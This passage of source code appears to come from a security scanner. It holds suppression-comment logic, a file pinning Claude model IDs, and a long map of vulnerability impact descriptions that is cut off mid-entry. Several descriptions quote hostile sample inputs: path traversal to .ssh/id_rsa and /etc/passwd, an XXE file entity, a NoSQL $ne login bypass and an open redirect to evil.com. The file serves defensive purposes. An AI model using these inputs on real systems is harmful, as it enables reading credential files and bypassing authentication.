RegExp(`(?://|/\\\\*|#)\\\\s*(?:${ruleId}|scanner)-OK\\\\b`, \"i\");\n if (marker.test(matchLine)) return true;\n\n // Walk up through the CONTIGUOUS comment block directly above the match,\n // not just the single preceding line. A developer justifying a suppression\n // usually writes a sentence or two, and checking only line-1 meant the\n // marker silently did nothing the moment the explanation wrapped — no\n // finding suppressed, and no warning that the comment had been ignored.\n // Stopping at the first non-comment line keeps this tight: a marker can\n // only ever apply to the statement its own comment block is attached to,\n // never to something further down the file.\n // `{/* ... *\\/}` is a comment to a JSX author but not to a regex anchored on\n // the comment opener, so the leading brace has to be tolerated. Getting this\n // wrong is not theoretical: the first version of this loop broke an existing,\n // working `{/* scanner-OK: ... *\\/}` suppression in our own dashboard, because\n // the line failed the comment test and the walk stopped before testing it.\n const COMMENT_LINE = /^\\s*[{(]?\\s*(?:\\/\\/|#|\\/\\*|\\*)/;\n const MAX_BLOCK_LINES = 20; // bounded so a file of pure comments stays cheap\n for (let i = lineIdx - 1, seen = 0; i >= 0 && seen < MAX_BLOCK_LINES; i--, seen++) {\n const line = lines[i] ?? \"\";\n // Test BEFORE deciding whether to continue. The line immediately above the\n // match is always checked, which is the behaviour this function had before\n // the block walk existed — the walk is strictly additive, and must not be\n // able to reject a placement that used to work.\n if (marker.test(line)) return true;\n if (!COMMENT_LINE.test(line)) break;\n }\n return false;\n}\n","/**\n * Claude model IDs — the single place they are written down.\n *\n * There used to be three copies of \"which model do we call\", in three\n * packages, each with its own literal. One of them (`ai-analyzer.ts`) sat on\n * `claude-sonnet-4-5-20250514` for long enough that the model went two\n * generations stale without anyone noticing, because nothing in the repo\n * pointed at it. That is the same duplication defect that produced three\n * copies of `calculateGrade` and two of `NON_APP_PATH_PATTERNS`.\n *\n * The lesson recorded in docs/BACKLOG.md applies exactly:\n * \"Import, don't restate — a shared function makes drift unexpressible,\n * whereas a guard only catches it afterwards.\"\n *\n * So: import from here. `scripts/check-model-ids.js` fails CI on any Claude\n * model literal written anywhere else, and on a stale review date below.\n */\n\n/**\n * Deep analysis — open-ended discovery over up to 50KB of source at a time.\n *\n * Why Sonnet and not Haiku: this call *invents* findings rather than judging\n * ones it was handed, and whatever it returns is pushed onto the finding list\n * that `calculateGrade()` scores. A wrong finding here becomes a wrong letter\n * grade shown to someone who, by construction, cannot tell a bogus finding\n * from a real one — the audience is non-expert developers. It also runs on the\n * *user's* own ANTHROPIC_API_KEY in the CLI (see `analyzeWithAI`), so the\n * cost of the stronger model is not ours to optimise away.\n */\nexport const MODEL_ANALYSIS = \"claude-sonnet-5\";\n\n/**\n * High-volume narrow judgment — \"is this specific finding a false positive?\"\n * and \"answer this questionnaire item from these facts\".\n *\n * Haiku is the right tier: the task is bounded, the finding is handed to the\n * model rather than discovered by it, and the call count scales with findings\n * (one per file batch, many per scan). Pinned to a dated release deliberately\n * — this one runs on OUR key against user-visible output, and a silent model\n * swap underneath a filter that can *hide* a real vulnerability is not a\n * change we want to arrive unannounced.\n */\nexport const MODEL_TRIAGE = \"claude-haiku-4-5-20251001\";\n\n/**\n * Last time a human checked these against the current model line-up.\n *\n * `scripts/check-model-ids.js` FAILS once this is more than\n * MODEL_REVIEW_INTERVAL_DAYS old. That is deliberate: a warning in CI is a\n * warning nobody reads, and \"we fell two generations behind without noticing\"\n * is the exact failure this module exists to prevent.\n *\n * To clear it: re-read https://docs.claude.com/en/docs/about-claude/models,\n * update the IDs above if the line-up moved, and set today's date here.\n */\nexport const MODEL_POLICY_REVIEWED = \"2026-09-15\";\n\n/** How long a review stays fresh before CI asks for another one. */\nexport const MODEL_REVIEW_INTERVAL_DAYS = 180;\n\n/**\n * Sampling is pinned to 0 at every call site, and extended thinking is\n * deliberately NOT enabled at any of them.\n *\n * Both follow from the same requirement: a user who scans the same unchanged\n * commit twice must get the same letter grade, with no explanation needed for\n * why it moved. Extended thinking requires temperature 1, so enabling it\n * would trade that guarantee away. If a future call site does not feed a\n * grade, it is free to make the opposite choice — but it should say so.\n */\nexport const MODEL_TEMPERATURE = 0;\n","/**\n * Real-world consequence descriptions for VC### rules.\n *\n * Surfaced in the scan results UI (\"Impact:\" line) and in the AI summary\n * email so users understand *why* a finding matters, not just what it is.\n *\n * Lives in shared-rules so the CLI, the web API, the standalone API, and any\n * future surface read the same copy. Previously this map was duplicated\n * inline inside both API entrypoints — the kind of place the\n * `totalRules: 158` drift bug came from.\n *\n * Adding a rule? Add its impact string here so it shows up everywhere at\n * once. If a rule has no entry, the UI falls back to the rule description.\n */\nexport const RULE_IMPACTS: Record<string, string> = {\n VC001: \"An attacker who finds this key in your source code or client bundle can use your API with your credentials, potentially reading or modifying user data and racking up usage charges.\",\n VC002: \"If this .env file is committed to git, anyone with repo access (including public repos) can extract your database passwords, API keys, and other secrets.\",\n VC003: \"This API endpoint has no authentication check. Anyone on the internet can call it directly, potentially accessing or modifying data without permission.\",\n VC004: \"The service_role key bypasses all Row Level Security policies. If exposed client-side, any user can read, modify, or delete any row in your database.\",\n VC005: \"Without webhook signature verification, an attacker can send fake payment events to your endpoint — granting free access, duplicating orders, or corrupting billing data.\",\n VC006: \"An attacker can inject malicious SQL through user input, potentially dumping your entire database, modifying records, or deleting tables.\",\n VC007: \"An attacker can inject JavaScript that runs in other users' browsers, stealing session cookies, redirecting to phishing pages, or performing actions as the victim.\",\n VC008: \"Without rate limiting, an attacker can flood your API with requests causing denial of service, brute-force attacks, or excessive cloud billing.\",\n VC009: \"With CORS set to allow all origins, any website can make authenticated requests to your API from a user's browser, enabling cross-site data theft.\",\n VC010: \"Hiding UI elements without server-side checks means an attacker can call your API directly and bypass the restriction entirely.\",\n VC011: \"The NEXT_PUBLIC_ prefix exposes this value in the browser bundle. If it's a secret, anyone viewing your site's JavaScript can extract it.\",\n VC012: \"While Firebase API keys aren't strictly secret, an unrestricted key lets attackers abuse your project's quotas, run up Firebase costs, or hit endpoints that should be locked down by App Check or HTTP referrer rules.\",\n VC013: \"Performing privileged operations with the anon key either fails outright or silently bypasses RLS in unsafe ways, leading to leaked rows or broken auth checks that any logged-in user can exploit.\",\n VC014: \"An unignored .env file gets committed on the next git add, leaking database passwords, API keys, and OAuth secrets to anyone with repo access — including the entire internet if the repo is public.\",\n VC015: \"If any user-controlled string reaches eval() or new Function(), an attacker gets arbitrary JavaScript execution in your app — full session takeover in the browser, or RCE on the server in Node.\",\n VC016: \"An attacker can craft a link from your domain that redirects victims to a phishing page or malware download, abusing your domain's trust to bypass user suspicion and email filters.\",\n VC017: \"Cookies missing httpOnly can be stolen by any XSS payload; missing secure leaks them over HTTP; missing sameSite enables cross-site request forgery against logged-in users.\",\n VC018: \"A leaked Clerk, Auth0, or NextAuth secret key lets an attacker mint valid sessions for any user in your app, fully impersonating accounts and bypassing every authentication check.\",\n VC019: \"With nodeIntegration on or contextIsolation off, any XSS in your renderer becomes RCE on the user's machine — the page can require('child_process') and run shell commands as the user.\",\n VC020: \"Without a CSP, a single XSS bug becomes catastrophic — the attacker can load scripts from anywhere, exfiltrate data to their own server, and inject keyloggers with no browser-side defense in depth.\",\n VC021: \"An attacker-controlled path (../../../.ssh/id_rsa) sent through IPC lets the renderer read or overwrite arbitrary files on disk — SSH keys, .env files, browser cookie databases.\",\n VC022: \"Stored XSS in exported HTML lets an attacker who plants malicious content in a document run JavaScript in every viewer's browser — stealing tokens, hijacking the renderer, or pivoting via Electron APIs.\",\n VC023: \"By sending a JSON body with __proto__ or constructor.prototype, an attacker can corrupt every object in your process — bypassing auth checks, mutating config flags, or triggering RCE through gadget chains in popular libraries.\",\n VC024: \"An attacker (or a buggy client) uploading multi-gigabyte payloads can fill your disk or exhaust process memory, taking the service down for everyone.\",\n VC025: \"A filename like ../../etc/passwd or one containing shell metacharacters lets an attacker overwrite files outside the upload directory or inject commands when the filename is later passed to a shell.\",\n VC026: \"A malicious link inside the app can navigate the entire window away from your trusted UI to a phishing site that looks identical, harvesting credentials or pushing fake updates.\",\n VC027: \"Without X-Content-Type-Options: nosniff and similar headers, browsers may execute uploaded files as scripts and leak full referrer URLs containing tokens to third parties.\",\n VC028: \"When user input controls API URLs, model names, or keys without validation, attackers can redirect calls to their own endpoint, swap to expensive models on your bill, or smuggle in injected parameters.\",\n VC029: \"Code that trusts postMessage or custom event payloads without origin/type checks lets any embedded iframe or extension trigger sensitive actions in your app's context.\",\n VC030: \"Deserializing attacker-controlled pickle, YAML, or PHP unserialize data is straight-line RCE — published gadget chains turn a single POST into a remote shell on your server.\",\n VC031: \"Anyone who reads the source can sign their own JWTs, forging tokens for any user including admins. There is no way to detect the forgery server-side.\",\n VC032: \"Without HSTS and HTTPS enforcement, an attacker on the network (coffee shop wifi, malicious ISP) can intercept the first request, downgrade to HTTP, and steal session cookies and credentials.\",\n VC033: \"Debug mode exposes stack traces, environment variables, and internal routes — handing attackers a map of your stack, your secrets, and often a remote shell via a debug REPL endpoint.\",\n VC034: \"Math.random() output is predictable from a few samples. Tokens, password reset codes, and session IDs generated this way can be guessed, letting an attacker take over accounts.\",\n VC035: \"A link like yourapp.com/login?next=evil.com sent in a phishing email looks legitimate to the victim and to email filters, but lands them on the attacker's site after login.\",\n VC036: \"Uncaught React errors render raw stack traces to users, leaking file paths, component names, and sometimes secrets from props — a free recon gift to an attacker probing your app.\",\n VC037: \"Stack traces in API responses reveal your file structure, library versions, and ORM internals, letting attackers fingerprint known CVEs and craft targeted exploits.\",\n VC038: \"Validating only the file extension lets an attacker upload a .jpg that is actually a PHP webshell or HTML with embedded scripts, leading to stored XSS or RCE when the file is served.\",\n VC039: \"Without a lockfile, every install resolves fresh versions — a typosquatted or compromised dependency upgrade lands in production without anyone noticing, exactly the vector behind several recent npm supply-chain attacks.\",\n VC040: \"An exposed .git directory lets anyone download your entire repository — every secret you ever committed (even ones you thought you removed), full source code, and commit history.\",\n VC041: \"An attacker can make your server fetch internal URLs like http://169.254.169.254/ (AWS metadata) or http://localhost:5432, exfiltrating cloud credentials or pivoting to internal services.\",\n VC042: \"Spreading req.body into a User.create() lets an attacker register with isAdmin: true or set verified: true on their own account, escalating privileges with a single request.\",\n VC043: \"An attacker can recover an API key or session token one byte at a time by measuring response time differences, eventually guessing the full secret without ever seeing it.\",\n VC044: \"An attacker injecting newlines into log messages can forge fake log entries to cover their tracks, spoof other users' actions, or break log parsers and SIEM rules.\",\n VC045: \"Allowing 6-character or dictionary passwords means most accounts fall in seconds to a credential-stuffing list, leading to mass account takeover.\",\n VC046: \"Without session ID rotation on login, an attacker who tricks a victim into using a known session ID is then logged in as the victim once they authenticate — full account takeover.\",\n VC047: \"Without lockout or rate limiting, an attacker can throw millions of leaked credential pairs at /login until they find ones that work, taking over user accounts en masse.\",\n VC048: \"MongoDB operators in JSON bodies ({\\\"password\\\": {\\\"$ne\\\": null}}) bypass login checks entirely, dump collections, or modify documents — the NoSQL equivalent of SQL injection.\",\n VC049: \"Database credentials in committed config files give anyone with repo access a direct connection string to production — read all data, modify any row, drop tables.\",\n VC050: \"Without TLS, database passwords and every row of data crosses the network in plaintext, readable by anyone tapping the connection — including cloud providers' internal logs.\",\n VC051: \"With introspection on, any unauthenticated user can dump your full GraphQL schema — every field, every mutation, every internal type — handing attackers a complete attack surface map.\",\n VC052: \"An attacker posting a 10GB JSON body to your API exhausts process memory and crashes the server, taking your app offline with one curl command.\",\n VC053: \"Hardcoded IPs in allowlists become stale and either grant access to whoever now holds the address or break legitimate users when infrastructure rotates — both end in a security incident.\",\n VC054: \"Any XSS bug — even one in a third-party script — can read every token in localStorage and send it to an attacker. Stolen tokens often have no expiry and survive password resets.\",\n VC055: \"A .map file in production lets anyone download the original, unminified source code of your app — including comments, internal class names, and any logic you assumed was hidden by minification.\",\n VC056: \"Without frame-ancestors or X-Frame-Options, an attacker can iframe your app under a fake UI, tricking logged-in users into clicking buttons that perform real actions on their account.\",\n VC057: \"Wildcard IAM permissions mean a single compromised credential — a leaked CI token, an SSRF-leaked metadata role — gives the attacker full account takeover, including the ability to delete every resource.\",\n VC058: \"A vulnerability in your app or any container library becomes root inside the container. Combined with a kernel exploit or a misconfigured volume mount, that's host root.\",\n VC059: \"Binding to 0.0.0.0 on a developer laptop or shared server exposes Postgres, Redis, or Mongo to anyone on the local network — typically with no password, since it was meant to be local-only.\",\n VC060: \"MD5/SHA-256 password hashes can be cracked at billions of attempts per second on a GPU. A leaked database means every user's password is recovered within hours, ready for credential stuffing.\",\n VC061: \"With certificate verification off, any attacker on the network path can transparently intercept HTTPS calls — stealing API keys, modifying webhook responses, or returning poisoned data from upstream services.\",\n VC062: \"A hardcoded encryption key in source code means every encrypted record in the database is decrypt-able by anyone with repo access. A reused IV in CBC/GCM modes also leaks plaintext directly.\",\n VC063: \"dangerouslySetInnerHTML on user-controlled strings is XSS-by-design — an attacker who lands content in your database (a comment, a profile bio, a chat message) gets script execution in every viewer's browser.\",\n VC064: \"Server Actions are publicly callable URLs even though they look like function calls. Without auth checks, any visitor can invoke them with arbitrary args, bypassing every UI restriction.\",\n VC065: \"An unauthenticated /api/ route is just a public URL — attackers find them via bundle analysis or wordlists and call them directly to read or modify data.\",\n VC066: \"Once a secret reaches a 'use client' component, Next.js inlines it into the JavaScript bundle. Anyone visiting the site can extract it from the page source and use your API as you.\",\n VC067: \"Custom URL scheme handlers that act on parameters without validation let any webpage or app trigger sensitive actions — opening attacker URLs in your auth context, transferring funds, or wiping data.\",\n VC068: \"AsyncStorage is plaintext on disk. A jailbroken phone, a forensic backup, or a malicious app on Android with debug access can read every stored token, password, or API key.\",\n VC069: \"Without certificate pinning, anyone who can install a custom CA on the device (corporate MDM, compromised phone, malicious VPN) can decrypt all traffic to your API and modify responses.\",\n VC070: \"android:debuggable=\\\"true\\\" in production lets anyone with adb access attach a debugger, dump memory containing tokens and PII, and bypass any client-side security check in the app.\",\n VC071: \"DEBUG=True in production renders Django's yellow error page on every exception — exposing source code lines, the full settings dictionary (including SECRET_KEY and database URLs), and installed apps.\",\n VC072: \"A hardcoded Flask SECRET_KEY lets anyone with the source forge session cookies and CSRF tokens for any user, fully impersonating accounts including admins.\",\n VC073: \"pickle.loads() on untrusted input is RCE-by-design — published one-line payloads spawn a reverse shell. If any user-controlled bytes reach pickle, your server is compromised.\",\n VC074: \"Disabling CSRF on a state-changing view lets an attacker's website trigger requests in the victim's browser — transferring funds, changing email, deleting data — all using the victim's logged-in session.\",\n VC075: \"Writing ${{ github.event.issue.title }} into a run: block executes whatever shell payload an attacker puts in an issue title — running with your repo's secrets and write tokens, leading to repo takeover.\",\n VC076: \"Hardcoded tokens in CI YAML are visible in every fork, every PR diff, and every public Action run log — attackers scrape these constantly and use the credentials within minutes of commit.\",\n VC077: \"Wildcard CORS in serverless config combined with credentials means any attacker site can read authenticated responses from your API using the victim's cookies — full data theft.\",\n VC078: \"A privileged container is essentially root on the node — kernel modules can be loaded, the host filesystem can be mounted, and pivoting to other pods or stealing kubelet credentials is trivial.\",\n VC079: \"A JWT library that accepts alg:none lets an attacker strip the signature from a token, change the user ID to admin, and the server treats it as valid — instant privilege escalation.\",\n VC080: \"A regex like (a+)+$ on a 30-character malicious input takes minutes of CPU to evaluate. An attacker sends a few of these and your single Node.js process is stuck — DoS with no bandwidth needed.\",\n VC081: \"An XML parser with external entities enabled lets an attacker include <!ENTITY xxe SYSTEM \\\"file:///etc/passwd\\\"> in a SOAP/SAML payload, reading server files or pivoting to internal HTTP services.\",\n VC082: \"Rendering a Jinja2/Handlebars/EJS template from a user-controlled string is RCE — attackers can break out of the template syntax to execute Python or Node code in the server process.\",\n VC083: \"Java deserialization with Apache Commons or Spring on the classpath is essentially guaranteed RCE — public gadget chains turn a single readObject call into a remote shell.\",\n VC084: \"Without integrity= on a CDN script tag, a CDN compromise (or a takeover of an unmaintained domain) means attacker-controlled JS runs in every visitor's browser as if you served it.\",\n VC085: \"Open admin or actuator endpoints often expose env vars, heap dumps, or thread state — and many ship with default-credential admin UIs that take over the application with no exploit needed.\",\n VC086: \"ws:// transmits messages in plaintext. Anyone on the network — public wifi, malicious ISP, an MITM proxy — can read or modify chat messages, real-time data, or auth handshakes.\",\n VC087: \"Without HSTS, a single user typing yourdomain.com (defaulting to HTTP) lets an MITM attacker intercept the redirect, downgrade the connection, and steal cookies before HTTPS ever happens.\",\n VC088: \"Tokens in URLs end up in web server access logs, the browser's history, the Referer header sent to every third-party script, and bookmarks — a long, lossy trail of credential exposure.\",\n VC089: \"Without Content-Disposition: attachment, an uploaded HTML file is rendered inline at your origin — making file uploads a stored XSS vector against any user who clicks the download link.\",\n VC090: \"A spoofed Host header in the request reflects into a redirect URL, sending password-reset emails or OAuth callbacks to an attacker-controlled host that captures the token.\",\n VC091: \"TOCTOU race conditions let an attacker swap a file (or database row) between your check and your action — e.g. checking permissions on a path then opening it after a symlink is swapped in.\",\n VC092: \"Spreading req.body into objects you later use as lookups (settings, permissions, options) lets an attacker pollute the prototype chain — every object in the process now inherits attacker-set properties.\",\n VC093: \"An attacker requesting filename=../../../etc/passwd reads any file the server process can access, including .env files, SSH keys, and other tenants' uploaded data on shared hosts.\",\n VC094: \"Any user-controlled string reaching exec() or system() means an attacker runs arbitrary shell commands on your server — installing backdoors, dumping the database, or pivoting into your VPC.\",\n VC095: \"A localhost CORS allowlist trusts anything running on the user's machine — including malicious browser extensions or local development servers spun up by other apps to phish your API.\",\n VC096: \"Insecure gRPC channels send service-to-service traffic in plaintext, including any auth tokens in metadata — a compromised pod or a network sniffer reads everything.\",\n VC097: \"console.log statements left around can leak tokens, PII, and internal IDs into the browser console — visible to any user, browser extension, or screen-recording tool, and to anyone reviewing console output during support sessions.\",\n VC098: \"readFileSync in a request handler blocks Node's single event loop. One slow disk read holds up every concurrent request, turning normal load into a cascading outage.\",\n VC099: \"Each re-render adds another listener that's never removed — over time the page leaks memory, slows down, and eventually crashes the tab on long-running screens like dashboards.\",\n VC100: \"An N+1 query pattern means a list of 1,000 items triggers 1,000+ database round-trips. Pages that work in dev with 10 rows time out in production and crush the database under load.\",\n VC101: \"Importing all of lodash or moment adds 70-300KB to every page load. Mobile users on slow networks see your app freeze for seconds before any UI appears.\",\n VC102: \"Heavy synchronous work on the main thread freezes the browser's UI — buttons stop responding, scroll jitters, and users mash refresh, often hitting your API harder than necessary.\",\n VC103: \"TODO/FIXME comments often mark known-broken security or correctness paths that were meant to be fixed before launch and were forgotten — an attacker grepping the source bundle can find them as fast as you can.\",\n VC104: \"Silently swallowing errors hides bugs that cause data loss, failed payments, or security check bypasses — by the time a user complains, you've lost the diagnostic trail.\",\n VC105: \"Deeply nested promise chains are a major source of subtle bugs (missed catches, wrong error context) and slow incident response — the next on-call engineer can't read it during an outage.\",\n VC106: \"Magic numbers like if (status == 7) hide intent and make safe refactors impossible — when the meaning of 7 changes, every callsite has to be hunted down by hand.\",\n VC107: \"Without S3 server-side encryption, a misconfigured bucket policy or a stolen backup tape means data sits at rest in the clear — failing SOC 2, HIPAA, and GDPR controls during audits.\",\n VC108: \"0.0.0.0/0 on all ports means your EC2/RDS/ElastiCache instance is reachable from the entire internet. Internet-wide scanners find it in minutes and start credential-stuffing default ports.\",\n VC109: \"A publicly accessible RDS instance is one weak password (or one CVE in the DB engine) away from full database compromise — and they're constantly probed by automated scanners.\",\n VC110: \"Without CloudTrail, a compromised AWS credential leaves no audit trail — you can't tell what the attacker accessed, whether they're still in, or what data was exfiltrated.\",\n VC111: \"Lambda outside a VPC can't reach private RDS or ElastiCache safely without exposing them publicly, and lacks the network controls that contain blast radius if the function is exploited.\",\n VC112: \"FROM node:latest builds a different image every week. A breaking upstream change crashes production at 2am, or a poisoned tag silently swaps in malicious code on the next deploy.\",\n VC113: \"COPY . . without a .dockerignore bakes your .env, .git history, and editor swap files into the published image — anyone who pulls the image extracts every secret you've ever committed.\",\n VC114: \"Each exposed port is one more thing to misconfigure. Forgotten debug or admin ports (Redis 6379, Elastic 9200, Mongo 27017) are the most common entry point in cloud breaches.\",\n VC115: \"base64 is encoding, not encryption. A leaked Kubernetes manifest or kubectl get secret access from a compromised pod hands the attacker every credential in the namespace in plaintext.\",\n VC116: \"A pod without resource limits can OOM-kill its neighbors, hog every CPU on the node, or spiral into infinite memory growth that takes the whole cluster's noisy-neighbor protection down.\",\n VC117: \"User input in a file path lets attackers read /etc/passwd, app source code, or other tenants' files; in write contexts it overwrites system binaries or config to gain code execution on next run.\",\n VC118: \"PII in logs ends up in CloudWatch, Datadog, Sentry, and engineer laptops — multiplying the surface area of any breach and triggering GDPR/HIPAA breach-notification obligations even if the app DB is intact.\",\n VC119: \"A leaked OAuth client_secret lets an attacker impersonate your application, exchanging codes for tokens and acting as your app against any user who has previously authorized — silent account takeover.\",\n VC120: \"Without a state parameter in OAuth, an attacker can stitch a victim's session to the attacker's account (account injection), or CSRF the callback to attach the attacker's identity to the victim.\",\n VC121: \"An action pinned to @main runs whatever the maintainer (or anyone who compromises the repo) pushes next. Pin to a SHA so a supply-chain compromise of a third-party action can't push code into your CI.\",\n VC122: \"TLS 1.0/1.1 are vulnerable to BEAST, POODLE, and Lucky 13. Modern compliance frameworks (PCI DSS, HIPAA) explicitly forbid them and audits will fail until disabled.\",\n VC123: \"A 1024-bit RSA key is within reach of well-funded attackers and trivial to factor by 2030. Any key signing tokens or TLS certs needs to be 2048-bit minimum, ideally 3072+.\",\n VC124: \"ECB mode encrypts identical blocks identically, so patterns in the plaintext (think the famous ECB-encrypted Linux penguin) leak through ciphertext — useless for any real data.\",\n VC125: \"Predictable reset tokens, tokens that don't expire, or username-enumeration in the reset flow let attackers take over accounts via the password-reset endpoint without ever knowing the original password.\",\n VC126: \"Terraform state files contain plaintext copies of every resource attribute — RDS passwords, IAM keys, TLS private keys. Committing one to git is equivalent to leaking your full infrastructure credentials.\",\n VC127: \"Unauthenticated DELETE/PUT/PATCH endpoints let any internet user destroy or modify data — the most common 'how was your whole user table wiped overnight' incident.\",\n VC128: \"Manually parsing Content-Length and Transfer-Encoding behind a CDN or load balancer can desync the proxy and origin, letting attackers smuggle requests that bypass auth or hit other users' sessions.\",\n VC129: \"Storing SSNs, credit cards, or health data unencrypted at the column level means a single read-only DB leak (backup, replica, log) is a full PII breach with mandatory disclosure and major regulatory fines.\",\n VC130: \"Without rate limiting on auth routes, attackers throw credential lists at /login or trigger thousands of password-reset emails to specific accounts — credential stuffing and email-bombing on demand.\",\n VC131: \"A dependency with a known CVE means a public exploit may already work against your app. Attackers scan for vulnerable versions of common libraries and pivot in within hours of disclosure.\",\n VC132: \"A leaked Anthropic API key lets attackers run unlimited Claude API calls on your account — burning through your quota in hours and racking up thousands of dollars in charges before you notice.\",\n VC133: \"A leaked GitHub PAT gives attackers read/write access to your repos depending on scopes — they can push backdoored commits, steal private code, exfiltrate Actions secrets, and pivot to npm publish tokens stored as repo secrets.\",\n VC134: \"A leaked SendGrid key lets attackers send email from your verified domain — phishing your customers from a real-looking address that passes SPF/DKIM/DMARC and shreds your sender reputation.\",\n VC135: \"A leaked Slack token reads your workspace's messages and channel history — exposing internal conversations, customer data shared in support channels, and any secrets pasted in DMs (which is most secrets, in practice).\",\n VC136: \"A leaked GCP service account JSON is project-level access — depending on roles, attackers can spin up cryptominers, dump every Cloud Storage bucket, or escalate to organization admin.\",\n VC137: \"A leaked Shopify access token exposes your full store: customer PII (names, emails, addresses), order history, payment data scope, and the ability to modify products or refund orders.\",\n VC138: \"A leaked GitLab token grants repository and pipeline access — attackers push commits, trigger CI to run malicious code with all your CI secrets, and exfiltrate any private project the token can see.\",\n VC139: \"A leaked Twilio key sends premium-rate SMS and international calls on your dime — toll fraud cases regularly hit five figures overnight before account locks kick in.\",\n VC140: \"A leaked Mailgun key sends email from your domain — attackers launch phishing campaigns that pass DMARC because they really do come from you, destroying your sender reputation and customer trust.\",\n VC141: \"A leaked Datadog key exposes logs, metrics, traces, and infrastructure topology — attackers map your entire stack, find vulnerable services from APM data, and grep logs for the next set of secrets.\",\n VC142: \"A leaked Vercel token deploys arbitrary code to your production sites and reads every environment variable — which contains your other secrets, making this one leak a gateway to all the rest.\",\n VC143: \"The Supabase service_role key bypasses every RLS policy. A leaked key means an attacker reads every user's data, deletes any row, and creates admin accounts at will — full database compromise.\",\n VC144: \"A leaked Vault token is a master key — depending on policies it unlocks database creds, AWS roles, TLS certs, and every other secret your infra depends on. One leak compromises the whole vault.\",\n VC145: \"A leaked Pinecone key lets attackers read or wipe every vector index — exfiltrating embedded user data (often containing PII or business documents) and corrupting your RAG retrieval to inject prompts.\",\n VC146: \"A token in a query string ends up in your reverse proxy logs, your CDN logs, the user's browser history, and the Referer header sent to every third-party tracker on your page — multi-channel credential exposure.\",\n VC147: \"Logging a token writes it to stdout, persists it through your log pipeline (Datadog, Sentry, CloudWatch), and lands it on engineer laptops via tail -f — turning a private value into one shared across your whole observability stack.\",\n VC148: \"Returning secrets in error JSON exposes them to whoever can trigger the error — often unauthenticated callers — and lands them in client-side error tracking like Sentry where they're visible to many engineers.\",\n VC149: \"DefinePlugin and Vite's define inline values directly into the bundled JS at build time. Any 'secret' configured this way ships in the page source for every visitor.\",\n VC150: \"Tokens in <meta> tags or data-* attributes are visible to view-source, browser extensions, search engine crawlers, and the Wayback Machine — effectively public the moment the page loads.\",\n VC151: \"Secrets in command-line arguments show up in ps aux, /proc/*/cmdline, shell history, and audit logs, readable by any other user on the same machine, including unprivileged co-tenants on shared hosts.\",\n VC152: \"Without signature verification, an attacker can POST fake Clerk session events to create admin users, fake GitHub events to trigger deploys, fake Resend events to mark invoices paid — every webhook turns into an unauthenticated mutation endpoint.\",\n VC153: \"Reflecting Origin into Access-Control-Allow-Origin while Allow-Credentials is true is worse than wildcard CORS — browsers will send cookies, so any malicious site reads authenticated responses from your API as the logged-in victim.\",\n VC154: \"Without schema validation, attackers send oversized strings, unexpected types, or nested JSON that triggers crashes, ORM coercion bugs, or injection via fields the code didn't expect.\",\n VC155: \"Without rate limiting on routes that call OpenAI/Anthropic/Cohere, a single malicious user (or a logged-in attacker with a script) can exhaust your monthly LLM budget in minutes — denial of wallet.\",\n VC156: \"An unpaginated list endpoint returns every row to the caller. Once the table grows, a single GET dumps gigabytes, OOMs the server, and exfiltrates the entire user list to anyone who finds the URL.\",\n VC157: \"Prisma Studio or Drizzle Studio in production is a public database admin UI — anyone who finds the URL gets full read/write access to every table with no auth.\",\n VC158: \"A route like /api/orders/:id without an ownership check lets an attacker increment IDs and read every other user's orders, invoices, messages, or files — the most common real-world data breach pattern.\",\n VC159: \"A leaked Cohere API key burns through your tokens budget on attacker-driven inference requests, racking up bills and potentially exposing usage history that reveals customers' prompts.\",\n VC160: \"A leaked Replicate token (r8_*) lets attackers run expensive GPU models — image and video generation can rack up hundreds of dollars per hour billed to your account.\",\n VC161: \"A leaked Mistral API key burns through your inference budget on attacker workloads, with no usage caps you can rely on until the bill arrives.\",\n VC162: \"A leaked Together AI key lets attackers run any open-source model on the platform on your tab — Llama, Mixtral, Stable Diffusion — burning through credits in minutes.\",\n VC163: \"A leaked Groq key (gsk_*) lets attackers run Groq's high-throughput LPU inference at your expense, exhausting credits and rate limits before you notice.\",\n VC164: \"A leaked Fireworks AI key (fw_*) lets attackers run hosted models on your account, racking up per-token charges with no warning.\",\n VC165: \"A leaked Postmark token sends transactional email from your domain — an attacker phishes your real customers from your real sender address, passing every spam filter.\",\n VC166: \"A leaked Resend key (re_*) sends email from your verified domain — phishing campaigns from a real sender address torch your domain reputation and trick customers who trust your emails.\",\n VC167: \"A leaked Loops key exposes your entire customer email list and lets attackers send authorized-looking emails from your domain — a customer-list exfiltration plus phishing weapon in one.\",\n VC168: \"A leaked Cloudflare token, depending on scopes, lets attackers rewrite DNS to point your domain at their server, disable your WAF, or wipe R2 buckets — full traffic and data control.\",\n VC169: \"A leaked Fastly token lets attackers purge your cache (causing origin overload), inject malicious VCL to redirect traffic, or modify how every user's request is served.\",\n VC170: \"A leaked Netlify PAT (nfp_*) deploys arbitrary code to your sites and reads every env var on every site — including secrets for your APIs, databases, and other providers.\",\n VC171: \"A leaked Railway token reads every environment variable across your projects (database URLs, third-party keys), redeploys services with attacker code, and accesses connected databases directly.\",\n VC172: \"A leaked Fly.io token (FlyV1 fm2_*) deploys arbitrary apps in your org, reads and modifies secrets on machines, and gives attackers a foothold inside your private Fly network.\",\n VC173: \"A leaked Algolia admin key replaces every indexed record — attackers swap your search results for SEO spam or phishing links, and create their own scoped keys for persistent access.\",\n VC174: \"A leaked Qdrant key reads and modifies every vector collection — attackers exfiltrate embedded user content and can poison RAG retrieval to inject prompts into AI features.\",\n VC175: \"A leaked Weaviate key gives attackers full access to embeddings and metadata for every indexed document, exfiltrating private content and corrupting search results.\",\n VC176: \"A leaked Linear key (lin_api_*) exposes your private roadmap, customer-reported bugs (often containing reproduction steps for unpatched issues), and internal team conversations.\",\n VC177: \"A leaked Notion integration token (secret_*) reads every page and database the integration touches — typically the most sensitive content in a company: financial models, hiring decisions, security runbooks.\",\n VC178: \"A leaked Discord bot token gives attackers your bot's full identity in every server it's in — they can DM users, mass-spam channels, exfiltrate messages per intent scopes, and ban or kick members.\",\n VC179: \"A leaked Intercom token exposes every customer conversation and contact record — support history, screenshots customers shared, and PII tied to email and company data.\",\n VC180: \"A leaked Sentry token (sntrys_*) exposes captured stack traces and PII from errors, and lets attackers tamper with releases or upload malicious source maps that map errors to attacker-controlled code.\",\n VC181: \"A leaked Better Stack source token lets attackers flood your log retention with junk to mask their activity elsewhere or rack up your ingestion bill.\",\n VC182: \"A leaked Highlight.io key exposes recorded session replays — including any text users typed (passwords, credit cards) that wasn't manually masked, plus full console logs.\",\n VC183: \"A leaked Plivo token enables toll fraud — attackers dial premium-rate numbers and send international SMS billed to your account, often racking up thousands before account locks trigger.\",\n VC184: 